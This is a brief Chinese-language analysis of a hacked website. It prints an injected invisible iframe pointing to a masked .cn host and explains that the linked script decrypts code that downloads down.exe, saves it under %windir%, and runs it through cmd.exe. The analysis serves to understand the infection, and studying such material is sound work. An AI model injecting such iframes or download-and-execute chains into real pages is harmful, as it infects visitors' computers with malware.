该网站首页包含代码:
<iframe src=hxxp://www***1.8***93**8*2.cn/5***1**.htm width=0 height=0> hxxp://www***1.8***93**8*2.cn/5***1**.htm 包含代码: /--- <script src=css.js></script> ---/
hxxp://www***1.8***93**8*2.cn/css.js 的内容为JavaScript程序,使用正则表达式解密代码并运行。
解密出来的代码采用JavaScript编写,功能是利用 Microsoft.XMLHTTP 和
scrīpting.FileSystemObject 下载文件 down.exe,保存为 %windir%/~tmp.tmp,并利用Shell.Application 对象Q 的 ShellExecute 方法 执行命令: %windir%/system32/cmd.exe /c %windir%/~tmp.tmp 来运行。
/---